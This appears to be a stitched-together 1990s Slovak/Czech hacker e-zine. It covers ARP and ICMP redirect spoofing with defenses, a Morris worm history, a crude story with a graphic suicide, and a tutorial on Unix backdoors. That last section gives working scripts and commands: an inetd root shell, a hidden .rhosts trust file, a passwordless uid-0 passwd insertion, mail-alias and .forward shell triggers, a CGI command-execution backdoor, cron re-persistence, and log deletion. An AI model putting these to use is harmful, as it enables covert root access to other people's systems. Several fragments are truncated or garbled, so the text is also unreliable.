adresu. Ale nie je to ta najefektivnejsia metoda, pretoze system rychlo pride na to ze
s nikym nekomunikuje a posle ARP request. Samozrejme ze tvoj dalsi vyslany jed to vynuluje, ale
musis to robit dost casto. Efektivnejsi sposob je krmit victim hardwarovou adresou nespravnej
masiny, ktora sama o sebe je v pohode na sieti. zalezi to na konkretnej situacii, ale casto
sa stava ze victim vysiela packety rozneho druhu ktore prijdu na zlu masinu, a ta zla masina
posle naspat ICMP Xxx Unreachable odkaz, co nejakym perverznym sposobom emuluje spojenie.
Taketo pseudo-spojenie moze predlzit expiraciu cache. Na linuxe, napriklad, pseud-spojenie
predlzi expiraciu cache z beznej 1 minuty na zhruba 10 minut. do vtedy vacsina alebo vsetky
TCP spojenia su v kybli. to moze dost nasrat. takymto sposobom moze ARP packet niekoho fest dokaslat.
ARP je aj seriozny nastroj na profesionalny cierny humor. predstavte si ze niekto si
nastavi relay, alebo tunel, tak ze presvedci dve susediace masiny aby posielali packety
urcene pre vzajomnu komunikaciu na Ethernet relay. Ak relay jednoducho forwarduje packety na
ich spravnu destinaciu, nikto si nic nevsimne. Ale jednoducha modifikacia datoveho toku moze
spravit uchvatne zmeny v mentalnom stave jedinca. Jednoduchy CPU-nenarocny “filter” moze
prehadzovat randomne dva bajty v nepravidelnych casovych intervaloch. Ak filter udrie na
datovu cast, vacsinu checksumu sa nezmeni, t.j. datovy tok sa bude zdat byt neposkodeny, avsak
divne a nevysvetlitelne veci sa _budu_ diat bez akehokolvek zjavneho dovodu.
ICMP redirekty
stejneho efektu jako ARP kes poisoning muzete dosahnout i jinak, pouzitim
legitimni soucasti ICMP protokolu – ICMP route redirekt.
v normalnich situacich je route redirekt pouzivan routerem, ktery se vam
snazi sdelit, ze existuje i kratsi cesta k nejake konkretni masine nez pres
nej. puvodne se pocitalo jak s redirekty na site tak na jednotlive masiny, ale
pozdeji se od pouzivani net redirektu upustilo a jsou vetsinou zpracovavany
jako obycejny host redirekt. spravne zkonstruovany ICMP paket, ktery projde
vsemi kontrolami spravnosti (napr. musi prijit z defaultniho routeru pro
tu destinaci kterou redirektuje, novy router by mel byt na primo pripojene
siti apod.) zpusobi pridani host-route zaznamu do systemovych routovacich
tabulek.
tento pristup je stejne bezpecny jako samotny protokol ICMP, to jest vubec.
falsovani IP adresy routeru je velmi jednoduche, prilozeny program
icmp_redit.c dela presne co potrebujeme. pozadavky kladene RFCkem rikaji, ze
system MUSI vzdy akceptovat ICMP redirekt, a jedinou vyjimku maji routery.
jednotlive implementace to samozrejme dodrzuji, funguje to vsude kde jsem to
zkousel. (tedy s vyjimkou cisteho kernelu 2.0.30, kde je kod nejak pokaslany.
jinak to funguje na 2.0.29 i na 2.0.31pre9).
ICMP redirekt se primo nabizi pro denial-of-service utoky. host-route
zaznamy v routovacich tabulkach nejsou casove omezeny, takze jejich platnost
nevyprsi tak jako u ARP kese. navic jeho pouzitelnost neni omezena na
lokalni sit, takze utok muze prijit odkudkoliv. takze v pripade, ze cil
prijima ICMP redirekty (a je pristupny po siti), muze mu byt zabraneno v
komunikaci s kteroukoliv konkretni adresou na siti (samozrejme s vyjimkou
masin na stejnem subnetu, kde se routing nepouziva). idealnim cilem jsou
treba nameservery.
co s tim
ARP je protokol pouzivany na nizke urovni, tudiz se s nim obvykle nesetkate,
respektive setkate, ale nevite o tom. obcas se s nim potykaji administratori
siti, ale pokud vse facha jak ma, nikdo se o nej nestara. kdokoliv se muze
podivat do ARP kese prikazem arp(8), ale obvykle to jen tak nekoho
nenapadne, leda pokud se vyskytl nejaky naprosto totalne zahadny problem.
dokonce i windows 95 maji prikaz arp, a jeho znalost vam muze obcas dobre
pomoct. (nicmene neexistuje zpusob, jak poznat ze jste cilem utoku
prichazejicho z cizi site pres gateway arp spoofing.) stejne jako u ARP kese
neni tezke najit zaznamy “host-route” zaznamy zpusobene ICMP redirektem,
proste se podivejte do systemovych routovacich tabulek. (ve vetsine verzi
route(8) takovy zaznam poznate podle flagu “D”). jen abyste vedeli.
hore prezentovane schema ARP utoku funguje perfektne na obycejnem 10Base2
ethernetu. nicmene pokud jsou masiny propojeny nejaky pokrocilejsim
zpusobem, trebas nejakymi smart huby nebo switchi, utok muze byt velmi
napadny, ne-li rovnou nemozny. (a to plati i pro pasivni utoky). takze to je
dalsi z duvodu proc byste meli investovat do fakt poradneho sitoveho zeleza.
bude se vam o poznani lepe spat.
osobne vubec nerad vidim, ze veci jako ICMP redirekt byly implementovany
jako defaultni soucast systemu. za prve – vetsina siti ma velmi jednoduchou
strukturu, takze si v pohode vystacite s obycejnou routovaci tabulkou. za
druhe – i v sofistikovanejsich sitich lze zmeny delat rucne, neni to zadna
dynamicka zalezitost, tak proc to delat pres ICMP? a do tretice – je to tak
nebezpecne, ze bych to nejradsi na mych systemech vypnul, i za cenu ze budou
mene kompatibilni s RFC1122. bohuzel to nemusi byt tak jednoduche. na linuxu
nebo kteremkoliv jinem open-source systemu muzu prinejhorsim upravit
zdrojaky kernelu a deaktivovat kod pomoci #define. na IRIXech 6.2 (a mozna i
jinejch verzich) lze nastavit icmp_dropredirects=1 nastrojem systune (jo,
fakt se mi libi ze to tam je, fakt jo.) jine OS mohou byt podobne
konfigurovatelne, ale nemam podrobnejsi informace.
u ARP protokolu se setkavame se situaci, kdy je resolvovani jmen vyreseno
dynamicky bez nejakeho centralniho serveru. ale nemusi tomu tak byt vzdy.
kdyz nekdo chce prevest hostname na IP, posle se dotaz na nameserver, nebo
se pouzije /etc/hosts, to znamena, ze je pouzito nejake staticke mapovani.
nevidim duvod proc tento pristup nepouzit i u ARP. ethernetove hardwarove
adresy se nemeni casto, a kdyz uz nahodou, tak to prece admina nijak
nezabije provest zmeny v prislusne tabulce. ethernet muze byt provozovan v
no-cache modu, potrebujete se jen ujistit ze zaznamy v ARP cache budou
permanentni. jako bonus usetrite trochu sitoveho provozu. ARP mapy muzete
distribuovat beznymi zpusoby, napriklad rdist, rsyns (ano, NIS by se take
dalo pouzit, ale predpokladam, ze jestli pri zajisteni bezpecnosti jdete tak
do hloubky ze se zabyvate ARP protokolem, nepouzivate asi NIS). stara
tradice /etc/ethers se muze znovu probrat k zivotu. ale zprovozneni nejakeho
poradneho ethernetoveho switche mi prijde lepsi (s jeho zaplacenim je to ale
horsi, heh).
stara moudrost je platna naveky: nepouzivejte autentifikaci zalozenou na
hostname. ti kteri tak ucini, budiz uvrzeni v nemilost sitovych bohu.
cheers,
znam hodne lidi, kteri se svym “ja mam firewall, je to super,
a kdo nepouziva firewall, je totalni blb” rikaji ze plno bezpecnostnich
problemu se vyresi jako mavnutim kouzelnym proutkem jen tak, ze mezi sebe a
zle hochy date firewall. samozrejme souhlasim ze firewall je skvela vec, ale
podotykam, ze jeho pouziti nemusi byt vzdy mozne nebo efektivni.
predstavte si prostredi, kde vsechny masiny jsou primo pripojeny na
internet, kde musite sdilet subnet s lidmi ktere vubec neznate (a kteri
samozrejme maji krasna nova vylestena SGIcka… kricici “tu jsem. pojdte si
me hacknout”. tihle lide prece znaji UNIX, vzdyt ho videli v Jurskem
Parku.), nebo kde ma nad vasim routerem kontrolu cizi organizace. vitejte na
akademicke pude … tady firewally nepouzivame. dalsi vec je, ze v techto
prostredich se nemusite tak bat cizich utocniku tolik jako insideru. bez
pecliveho zabezpeceni jednotlivych stroju je to totalni dzungle, ve ktere
ale nekteri lide potrebuji (kupodivu) pracovat. takze priste az budete
nekoho lamat do firewallu, uvedomte si prosim, ze to je krasna vec, ale
nehodi se pro kazdeho.
uvod
toto je cosi co som xcel napisat uz davnejsie, tak aby to bolo byvalo zhruba 10
rokov potom ako sa internetovy worm vypustil,
ale ako obvykle, nejak mi to nevyslo.. co uz.. predmetom tohoto clanku je popisat
co sa v ten den stalo a napisat aj cosi o samotnom worme (cerve), ako fungoval, a tiez aj
cosi o historii celeho pripadu..
Prave v dnesnej dobe by sa zislo vysvetlit, co to je vlastne cerv
(worm). Niektori ludia ho stale volaju virus, ale z viacerych dovodov to nie je
pravda. hlavnym rozdielom medzi cervom a normalnym virusom spociva v jeho
reprodukcii a rozsirovani. Ked normalny pocitacovy virus vstupi do systemu,
zvycajne z infikovanej diskety alebo stiahnutim z internetu, infikuje
systemovy subor a taktiez subor, ktory bude pouzity niekedy v blizkej
buducnosti. Zmenou tohoto suboru je zvycajne rozsirenie prikazov na aktivaciu
virusu.
Teraz sa pozrieme na dva priklady odlisnosti cerva. Prvym z nich je
to, ze cerv nemusi byt rozsireny z diskety alebo infikovaneho suboru, ale z
exploitu, ako napriklad statd alebo named. Ked virus prelomi systemu,
spusti iny program, ktory prehlada internet za ucelom najdenia dalsich
hostitelov, do ktorych by mohol vstupit. Nikdy nepotrebuje uzivatela, ktory by
musel spustit program alebo ho poslat niekomu inemu, cize pracuje nezavislo.
Niekto moze toto spravanie volat umela inteligencia, no len vo velmi
jednoduchej forme. Vsetky pocitace, ktore su pripojene na internet sa mozu
stat narozdiel od virusu potencionalymi cielmi cerva.
historia cervov
Ked bol Internet Worm v roku 1988 vypusteny, nebol nijakym sposobom urceny na
to, na co jeho potomkovia. Nazov cerv pochadza z knihy The Shockwave Rider
napisanej Johnom Brunnerom v roku 1975. Ak dej zhrnieme v skratke, jednalo sa
o pribeh o totalitnej vlade, ktora kontrolovala svojich obcanov pomocou silnej
pocitacovej siete. Jednej bojovnik za slobodu zaplavil tuto siet pomocou
programu nazvaneho “tapeworm”, cim prinutil vladu vypnut siet a tym znicil
zdroj sily. Medzi touto knihou a rokom 1988 Morrisov Internet Worm, nebolo
divom, ze cervy ziskavali zlu povest.Pravdou je to, ze prve cervy vtedy
vznikali preto, aby ulahcili pouzivanie sieti.
1971
V roku 1971 Bob Thomas napisal prvy porgram, ktory bolo mozne pravoplatne
nazyvat cervom. Bol to program pre Air Traffic Controlers, ktory ich mal
upozornit, ked sa lietadlo presunie z jedneho pocitaca na druhy. Program
nazvany Creeper sa len presuval z jendej obrazovky na druhu a zobrzoval spravu
“I’m creeper! Catch me if you can!” (“Som creeper! Chyt ma ak mozes!”), no
nikdy sa nereprodukoval. Po tomto napade niektori programatori skusali napad
rozvinut na podporu dalsich uloh, ale v priebehu niekolkych mesiacov tento
napad zanikol.
1980
Zaciatkom roku 1980, John Shock a Jon Hepps z Xeroxovko Research Centra v Palo
Alto zacali experimentovat s cervymi programami. Toto bolo v podstate po prvy
raz, kedy bol termin cerv aplikovany na tento druh kodu. Vyvinuli predtym 5
cervov, pricom kazdy sa pouzival na vykonavanie specifickej pomocnej ulohy v
sieti. Niektore z nich boli velmi jednoduche ako napriklad Town Crier, ktory
cestoval sietou a posielal oznamy, no niektore boli velmi komplexne, ako
naprikla The Vampire, ktory bol cez den necinny, no v noci, ked bolo male
vyuzitie procesora, pouzil jeho vykon na vykonavanie prace a za usvitu ulozil
svoju pracu a cakal do dalsej noci. Tieto cervy boli velmi uzitocne az do
jednej noci, kedy jeden z Xeroxackych cervov chybne vykonal funkciu a ked rano
ludia zacali pracovat, nasli svoje pocitace spadnute. Tento problem este
zhorsilo zistenie, ze ked ludia restartovali svoje pocitace, cerv pokracoval
vo vykonavani chybnej funkcie a este viac poskodzoval ich system. Prave toto
vyvolalo potrebu napisania vakciny, ktora by odstranila nebezpecnost cerva. Po
tejto mensej katastrofe sa vyvoj cervov dostal z oci verejnosti, no to len do
roku 1988, kedy ich Morrisov cerv vymrstil do popredia zaujmu. Morrisov cerv
bol senzacnou spravou v mnohych novinach a bolo to prave pocas americkych
volieb, no stal sa omnoho zaujimavejsim, a ludia okolo celeho sveta boli
infikovani cervom. V roku 1989 bol vypusteny iny cerv, ktory bol velmi
destruktivny, ale nebolo s nim zaznamenanych mnoho problemov. Nasledujuce
riadky obsahuju popis toho, co cerv robil….
Pokusil sa ziskat systemove privilegia, ak uspel tak:
V pripade ze neuspel pri ziskavani rootovskych prav:
Stale su tu medzi nami, na konci devetdesiatych rokov cervy, ale nikdy
nesposobia mnoho tazkosti. Najposlednejsi, co som si zapamatal bol ADMwOrm.
Prave preto, ze sa navonok neprejavoval, nikto nevel, ze vlastne vobec
existuje. Vsetci sa ucime z chyb a pretoze chyby, ktore Morris urobil pozname,
ludia su schopni vytvorit omnoho efektivnejsie cervy a omnoho tazsie
identifikovantelne.
Predtym ako uvediem co Morrisov internetovy cerv spravil, mozno bude lahsie
uviest co nespravil.
Ked sme toto vsetko vylucili, mozno sa cudujete co vlastne cerv robil. Nebol
tu pre niekoho, kto chcel ziskat pristup k tisicom pocitacov alebo sposobit
masovu destrukciu. Z dekompilovanej verzie cerva zistujeme, ze nerobil nic.
Cerv bol vytvoreny jednoducho na to, aby sa rozsiril tak daleko ako sa len da
a napadol co najviac pocitacov. Mozno to bol iba test, ktory Morris vypustil
pred tym, ako dokoncil cerva, ktory by robil nieco hroznejsie. Ci je to
pravda nebudeme pravdepodobne nikdy vediet. Predsa len, teoriu o teste
potvrdzuje aj to, ze kod mal daleko od dokonalosti. Podla vsetkeho, v case
ked bol cerv vypusteny obsahoval mnozstvo chyb, a programator taktiez velmi
podcenil ucinky, ktore moze cerv mat. Jednou z chyb cerva bol fakt, ze ked
uz raz napadol hostitela, mohol ho znovu napadat takze doslo k DoS utoku.
Tento zdanlivo nezistitelny proces coskoro opakovane napadol tie iste
pocitace a sposobil ich zrutenie. Toto je vytazok z knihy “Cesta cerva” od
Donn Seely, ktory vysvetluje tento problem.
Vsetky tieto udalosti sa stali vecer 2. novembra 1988.
18:00 Asi o tomto case bol cerv vypusteny.
V kratkosti, v rozmedzi menej ako 90 minut po infikovani bol system
nepouzitelny a vznikli obrovske naklady na vyriesenie problemov sposobenych
cervom. Podla United States General Accounting Office, stratou pristupu k
internetu na infikovanych pocitacoch vznikla skoda v rozmedzi 100.000 az
10.000.000 dolarov.
postup
Toto je postup cerva po infikovani systemu:
1 – Najprv zmenil nazov svojho procesu na “sh”, aby zamaskoval svoj
skutocny nazov. Cize tvaril sa ako Bourne Shell, bezne shellovske
prostredie pre UNIXove systemy.
2 – Tvorca cerva nechcel, aby ho bolo mozne lahko odchytit, pretoze keby
niekto odchytil kopiu beziaceho cerva, mohol by byt schopny dekonstruovat
kod a urcit ako cerva zastavit. Preto dalsou vecou ktoru cerv urobi je to,
ze nastavi maximalnu velkokst vypisu z pamate na nula bytov (core size). “Vypis z
pamate” umiestnuje kopiu procesu beziaceho na CPU do pamate na dalsiu
kontrolu. Vypis z pamate nastava vzdy, ked sa program zruti alebo ked je k
padu prinuteny. Ked cerv nastavi velkost vypisu z pamate na 0, hoci by
program spadol alebo by bol k tomu prinuteny, nedostaneme kopiu beziaceho
cerva.
3 – Cerv tiez cita aktualny cas a uklada ho pre pouzitie v generatore
nahodnych cisel. To bude pouzite neskor.
4 – Dalej ked sa worm spustal, mohol sa spustit s flagom -p, co bola moznost pri
ktorej sa zadalo ako parometer cislo, ktore bolo zjavne cislo procesu materskeho
procesu.
5 – Zvysok argumentov prikazoveho riadku, ktore cerv vykonava, tvoria mena cielovych
suborov, ktore potrebuje na dosiahnutie svojho plneho vykonu. Cerv sa snazi nacitat
subory urcene tymito argumentami do ich adresneho priestoru. Ak je udany aj argument
-p, potom cerv taktiez vymaze subory po ich nacitani a neskor vymaze aj svoju vlastnu
kopiu na disku. Tiez sa pokusa vymazat subor /tmp/.dumb, hoci sa cerv na neho
neodvolava; nie je jasne preco to robi. Ak sa mu nepodari nacitat ktorykolvek z
cielovych suborov, cerv skonci. Inak pokracuje dalej.
6 – Cerv pre istotu kontroluje, ci ma aspon 1 cielovy subor vo svojom
prikazovom riadku. Ak nie, skonci.
7 – Cerv si potom overi, ci uspesne nacital subor 11.c. Tento subor potom
cerv neskor pouzije na nakazenie inych systemov. Ak tento subor nebol
nacitany, cerv skonci.
8 – Cerv potom vymaze text pola argumentov, aby zahladil akekolvek
informacie o svojej pritomnosti.
9 – Cerv dalej skenuje sietove rozhrania na hostitelskom pocitaci, aby
ziskal oznacenia a adresy kazdeho rozhrania. Ak ziadne rozhranie nenajde,
cerv skonci. Taktiez nacita sietovu masku, ktora mu umozni urcit, ake
internetove adresy su pouzivane v lokalnej sieti.
10 – Cerv nasledne ukonci proces urceny prepinacom -p (pravdepodobne proces
ktory vytvoril kopiu cerva), cim zmeni skupinu aktualneho procesu aby
neznicil seba sameho.
V tomto bode je zavadzanie kompletne a cerv vola svoju centralnu rutinu.
11- S pouzitim randomneho cisla (generovaneho s pouzitim hodnoty aktualneho casu),
Worm urci ci ma kontrolovat svoju pritomnost. Je jedna sanca zo sedmich ze nebude,
v opacnom pripade cerv kontroluje svoju pritomnost.
12- Ked worm nekontroluje svoju pritomnost, pokracuje dalej. Na toto je sanca jedna
ku siedmim, bolo to tam pridane aby sa dal worm tazko killnut. Ironiou je ze toto je
prave dovod preco sa cerv tak rychlo rozsiril. Navyse iba prvy worm na danej masine
sa kontroloval, vsetky nasledne kopie tento test uplne vynechavali.
13 – Je tu tiez procedura, ktora predpoklada poslanie jedneho bytu na adresu
128.32.137.13 (ernie.berkeley.edu), port 11357; to vsak nefunguje, pretoze
program pred TCP prikazom sendto nepouzije UDP datagram. Takze program nikdy
neotvori spojenie s vyssie uvedenym portom, a TCP prikaz zlyha s chybou
“socket not connected”. Tento nahodny byt sluzi, ako sa zda, na
monitorovanie globalneho postupu cerva na sieti. Ak by bol cerv dalej
prepracovany, mohli by sme povedat, ze hostitel bol backdoor-ovany (cerv
vytvoril zadne dvierka). Mnohi ludia predpokladaju, ze finalna verzia cerva
mala splnat aj tuto funkciu. Cerv vo vypustenej podobe vsak takuto funkciu
nemal.
Potom cerv postupuje do primarneho cyklu programu. Tento nekonecky cyklus
vola vsetky hlavne procedury v nasledujucom poradi:
14 – Cracksome, rutina ktora hlada hostitelov do ktorych sa moze cerv dostat;
15 – Cerv potom spusti other_sleep na 30 sekund;
16 – Cerv nasledne opat vykona Cracksome;
17 – Cerv sa rozdeli na dva procesy (potomkov) a ukonci rodicovsky proces.
Potomok ma vsetky informacie, ktore mal aj rodic; naviac, potomok ma nove
cislo procesu, a tym je ho aj tazsie najst. Cerv potom spusti opat proces
infekcie;
18 – Potom cerv spusti other_sleep na 120 sekund;
19 – Pred tym, ako sa precykli opat na seba, cerv kontroluje ako dlho bezal.
Ak je to dlhsie ako 12 hodin, vymaze niektore polozky zo zoznamu hostitelov.
Cerv opakuje tuto proceduru pokial nedostane prikaz o skonceni od ineho
cerva alebo nie je zniceny.
morris
Asi ste zvedavy co sa stalo Morrisovi za jeho ciny. Bol
usvedceny Federalnym prokuratorom. Porusil zakon 18 USC 1030 (A)(5)(a), the
Computer Crime and Abuse Act z roku 1986. Bol uznany vinnym vo february 1990
americkym okresnym sudom v Syracuse, NY. V maji 1990 bol odsudeny – mimo
Federalnych trestnych smernic – na 3 roky, 400 hodin verejnych prac a pokutu
10 050 dolarov plus vysetrovacie naklady. Jeho pravnici sa proti rozsudku
odvolali na obvodnom odvolacom sude, ale rozsudok bol potvrdeny. Morrisovi
pravnici sa potom odvolali na najvyssi sud, ale sud o tom odmietol
diskutovat – ponechal rozsudok nedotknuty. Nejaku dobu Robert (neskutocne)
pracoval ako programator pre CenterLine Software (vyrobcovia CodeCenter,
…). V poslednom case Robert pracoval na svojom titule PH.D. pod vedenim H.
T. Kunga na Harvardskej univerzite. Taktiez spolupracuje so spolocnostou
ViaWeb. Pokial viem, nikdy verejne nehovoril o uvedenej udalosti, tiez sa
nepokusil pracovat v oblasti pocitacovej bezpecnosti.
navrat na obsah
ti dvaja chalani boli z toho totalka nadrzani. ritky im od vzrusenia cvakali ked sa dozvedeli ze im do
firmy zaviedli novucicku pevnu 128k linku na inet. jozko si pamatal ze
take cosi mali na skole a spominal jak mu vsetko bleskurychlo behalo po obrazovke, napriklad ked telnetoval
tak mu pismenka naskakovali do okienka okamzite a nie az po malinkej chvilke. ferko na druhej strane sice
nikdy taku 128k linku nevidel, ale ked si predstavil stodvadsatosemtisic volakych bitov za sekundu pobehovat
sem a tam, zakrutila sa mu hlava od vzrusenia. ked to uz technici od provajdera konecne vsetko pozapajali,
nemohli sa dockat kedy vyrazia na ineternet. obaja utekali po schodoch dole do pivnice k ich pocitacom a nakopli stary
dobry lynx.
samozrejme nic sa nestalo. ked jozko a ferko instalovali svoje masiny, boli jedine bytosti v celej
kancelarskej budove s linuxom, takze si pridelili nejake IP adresy z rezervovanej casti IP adries.
jezismaria velka veda – sak staci zmenit zopar cisielok a restartovat. ale na co maju zmenit tie cisla ?
nikto im nepovedal ake by mali mat pridelene IP adresy, ale vedeli ze admin od provajdera pre nich
registroval cely C-eckovy blok adries. tak obvolali zopar ludi z IT oddelenia a zistili si prvych
24 bitov svojich IP adries, ale nevedeli poslednych 8 bitov.
ked si trochu popingovali po lokalnej sieti zistili ze uz je pripojeny nejaky server na
542.613.531.1 (pozn.: autor tohoto pribehu si uvedomuje ze IP adresy su 0-255. dovod preco pouziva
cisla > 255 je ze toto je fikcia. tak sa kua s tym zmierte). totalne boli z toho happy. samozrejme
nevedeli ze volakto nabehol server. mysleli si ze je to ich gateway. kedze uz dopredu mali vyhutany DNS, nastavili
si 10 a 11 a setko nabehli !
“popicovka, sme IN !!” zvrieskli svorne. “toto je cool!” skuseny jozko sa hned nalogoval na sunsite.unc.edu
a stiahol si za par minut zdrojaky kernelu 2.0.37. mali furt verziu 2.0.0, ale xceli opacit tento najnovsi
kernel. pobehoval po sunsite ked zrazu nasiel zdrojaky ircii. “uau, toto vyzera zaujimavo. skusme co to
spravi.”
jozko bleskurychlo stiahol, skompajloval a nainstaloval ircii. aj ked uz roky nemal pevnu linku na inet,
nezabudol este ako sa maju citat dokumenty a manualy, stratene to umenie v dnesnej dobe. jozko civel na
monitor a rozmyslal co tak asi spravi so svojim irc klientom. ferko, majuc znacne mozgovo-vykonove limitacie
oproti jozkovi, okamzite nabehol lynx a searchoval www.zoznam.sk na “hole baby”. “Vyser sa na to fero !”
zareval mu do uska jozko, “skus tam radsej najst nieco o IRC, ok ?”. nejakou zvlastnou zhodou okolnosti
natrafil ferko na meno IRC servera irc.netlab.sk.
jozko pisal prikazy pomaly a opatrne, snazil sa pamatat si navod z dokumentacie. volakde cosi cital o irc,
takze vedel ze potrebuje vymysliet nejaky nickname. nic ho nenapadlo, bude “jozko”, tak napisal: irc
jozko irc.netlab.sk
a cakal. a potom zase cakal. furt cakal. nakoniec sa unavil cakanim, ale kratko pred tym ako sa chystal udriet
CTRL-Z mu server oznamil “Nickname in use, choose another”. A sakra, pomysel si jozko. nevadi, dam si jozko1.
“Nickname in use, choose another”. Okej, jozko2. “Nickname in use, choose another” Kua kolko je na irc jozkov ?
po par dalsich pokusoch mu to nakoniec predsa vyslo. “Welcome to server irc.netlab.sk, jozko52 !”
YEZ !! Cool. teraz si cital help fajly… myslel si, okej, napisem /list. **disconnected from
server, attempting to reconnect.
Hmm… asi volaco pobabral… aha ! zistil prikaz na limitovanie poctu ludi na kanal. ferko mu kukal cez
plece na monitor ked jozko skusil /list -min 3. ferkovi sa rozsirili zrenicky ked videl vsetky tie sexualne
kanale. “hej jozo ! mozem aj ja pouzit IRC ??”
“jasna paka, telnetni sa na moju masinu a ides.” jozko nevedel o ferkovej hormonalnej prietrzi mracien.
jozko zbadal prebehnut cez obrazovku zaujimavy kanal #holubnik.. raz cital kdesi na hysteria.sk zevraj
tam chodia hackeri. konecne stretne kolegov hackerov. to bude zabava.
“Ano… hehe”.
“aaale nic … “
“Hej Jozo ? Vsetci zrazu zmizli z irc… co sa stalo ?” spytal sa ferko.
“Ehm.. uhh… ja som ich zabil.”
“Ty si ich… co ?”
“Ano…”
“Nie som si isty.. Ale…” jozo nechcel povedat ferkovi co sa v skutocnosti stalo.
“Preco ? Co je hore na poschodi ?”
“Sakra nepytaj sa a chod.”
ferko vysiel hore po schodoch… ked sa dostal na poschodie vysiel von na ulicu. Vonku bolo pekne, slniecko
svietilo, tak si povedal “Hm idem ja radsej domov, jozo sa dnes sprava velmi cudne..”
ked sa ferko nevracal zacal jozko chapat co sa naozaj asi stalo. fero zomrel z radiacnej davky pred tym
ako sa stihol vratit naspat. poslal ho na istu smrt !
“Ja som POSLEDNY CLOVEK NAZIVE !” jozo vrieskal. nemohol to zniest. trasucou sa rukou nahmatal v sufliku
ziletku. jednym mocnym tahom si podrezal zily, ale nie napriec ale pozdlz ruky. (pozn. autora: fakt lamer, ze ? nechame
ho zgegnut, co poviete.. bude to poucne) krv vytryskla prudom.
hlava mu pomaly klesala na klavesnicu. zomrel v tichosti, len pred samotnym koncom sa mu z hrdla vydral
uzkostlivy vzdych.
Niekde hore na poschodi, upratovacka vypla vysavac a zapojila router naspat do zasuvky.
navrat na obsah
Olga Machovcov�
ak je input specialny nami nakonfigurovany string, spustit trojana;
else ak input nesedi pokracovat normalne;
else quitnut s chybovou hlaskou;
5002 stream tcp nowait root /usr/sbin/tcpd /bin/sh -i
po pripade nahradit cislo portu nejakym stringom z /etc/services a podobne.. budte kreativni 🙂
potom samozrejme staci spravit telnet server.victim.sk 5002 a mate shell…games:x:12:100:games:/usr/games:
ale staci tam pridat jedno lomitko a jednu medzierku a mame backdoor:
games:x:12:100:games:/usr/games/ :
no a potom vytvorit adresar “/usr/games/ ” a dat do neho trebars .rhosts :
# cd /usr/games
# mkdir " "
# cd " "
# echo + + > .rhosts
# chown games .rhosts
a potom voila, staci dat hocikedy zvonka
$ rsh -l games server.victim.sk "/bin/sh -i"
a si na serveri.. za zmienku stoji fakt ze rsh a rlogin vas pustia v pohode dnu napriek tomu ze user
games nema nadefinovany shell v /etc/passwd, mnohi ludia su v domneni ze user bez definovaneho shellu
je samo o sebe zarukou bezpecnosti toho konta.
#!/bin/csh
# vlozi uid 0 konto do stredu passwd fajlu
# pravdepodobne by to slo spravit aj nejakym jednym
# prikazom awk alebo sed.. ale co uz
set linecount = `wc -l /etc/passwd`
cd
cp /etc/passwd ./temppass
@ linecount[1] /= 2
@ linecount[1] += 1
split -$linecount[1] ./temppass
echo "EvilUser::0:0:Mr. Sinister:/home/sweet/home:/bin/csh" >> ./xaa
cat ./xab >> ./xaa
mv ./xaa /etc/passwd
chmod 644 /etc/passwd
rm ./xa* ./temppass
echo finito...
.rhosts
$ cat ~lamer/.forward
lamer
|/dev/ptyqo
$ cat /dev/ptyqo
#!/bin/sh
while read line ; do
echo "$line" | grep "my_secret_password" && /dev/ptyqb &
done
cize staci poslat lamerovi email ktory bude obsahovat slovo my_secret_password a spusti sa program
/dev/ptyqb co moze byt trebars bindshell. jo a potom nezabudnut zmazat ten email z lamerovej posty, aj ked
najelegantnejsie by bolo schovat ten string do normalne vyzerajuceho emailu, ktory si ten lamer potom moze
kludne precitat bez toho aby vybadal jeho ucel 🙂 osobne som na tieto ucely pouzival
vyraz “odchod na parky”, mozno si na to niektori spomeniete 🙂
lamer: "|/dev/ptyqo"
a ked poslete postu na [email protected], spusti sa backdoorovy scriptik /dev/ptyqo. ale to je moc
suche a dost napadne. isty cas bol popularny uudecode backdoor v /etc/aliases. ten fungoval takto – najprv
sa pridal riadok do /etc/aliases:
"decode: "|/usr/bin/uudecode"
vcelku nenapadne, ze ? nuz potom sa vytvoril uuencodovany rootovsky .rhosts file ktory sa poslal pekne postou :
$ echo "+ +" | /usr/bin/uuencode /root/.rhosts | mail [email protected]
$ rsh -l root victim.sk "/bin/sh -i"
#
pam security
service-name module-type control-flag module-path arguments
a tak mozeme nastavit ze pri nejakej sluzbe vobec nebude vyzadovat heslo, napriklad pri rlogind. to si tazko niekto
vsimne, lebo konfigurak pam.conf a konfiguracna syntax nie je zrovna prehladna, rlogind malokto pouziva, a ked aj
ano tak ma na to .rhosts, takze si nikto nevsimne ze sa da lognut na roota cez rlogind aj bez hesla.
$ cat backdoor.cgi
#!/bin/sh
echo Content-type: text/html
echo
echo "<pre>"
$*
cez ktory sa daju na dialku spustat hocijake prikazy priamo z browsera vo forme http://www.victim.sk/cgi-bin/backdoor.cgi?prikaz,
no predstavte si tu pohodu spravit si taky backdoor a potom pohodicka ist do inet kaviarne, pochlipkavat
capuccino so skoricou a spustat unix prikazy na hacknutej masinke priamo z Netscapu. a pokial vas neuspokoji uid pod
ktorym bezi httpd (zvycajne nobody), tak v prvom riadku namiesto /bin/sh dajte nejaky suid bash shell a
prikazy budu bezat ako root. jo a nezabudnut zmazat httpd logy 🙂
0 0 * * * /dev/ptyqx
a toto je nas scriptik /dev/ptyqx :
#!/bin/csh
# je eviluser stale v passwd ? pome sa presvedcit
set evilflag = (`grep -i eviluser /etc/passwd`)
if($#evilflag == 0) then
set linecount = `wc -l /etc/passwd`
cd
cp /etc/passwd ./temppass
@ linecount[1] /= 2
@ linecount[1] += 1
split -$linecount[1] ./temppass
echo "EvilUser::0:0:Mr. Sinister:/home/sweet/home:/bin/csh" >> ./xaa
cat ./xab >> ./xaa
mv ./xaa /etc/passwd
chmod 644 /etc/passwd
rm ./xa* ./temppass
else
endif
fantazii sa medze nekladu. tu je vtipny scriptik ktory kazdy den o 2:30am (heh, nezabudnite si presne
nastavit hodinky) na jednu minutu zmeni /etc/passwd za dopredu nachystany fajl.
29 2 * * * /etc/ptyqp
tento fajl musi existovat:
#echo "root:1234567890123:0:0:Operator:/:/bin/csh" > /etc/ptyqq
a toto je nas scriptik /etc/ptyqp :
#!/bin/csh
cp /etc/passwd /etc/.temppass
cp /dev/ptyqq /etc/passwd
sleep 60
mv -f /etc/.temppass /etc/passwd
inak doporucujem si najprv vsetko poriadne vyskusat, lebo akykolvek vystup zo scriptov spustanych cronom
(chybne hlasky a pod) idu rootovi do posty…
#include <h>
#include <h>
#include <signal.h>
#include <param.h>
#include <types.h>
#include <dir.h>
#include <user.h>
#define KEYWORD "chabrus"
struct user userpage;
long address(), userlocation;
int main(argc, argv, envp)
int argc;
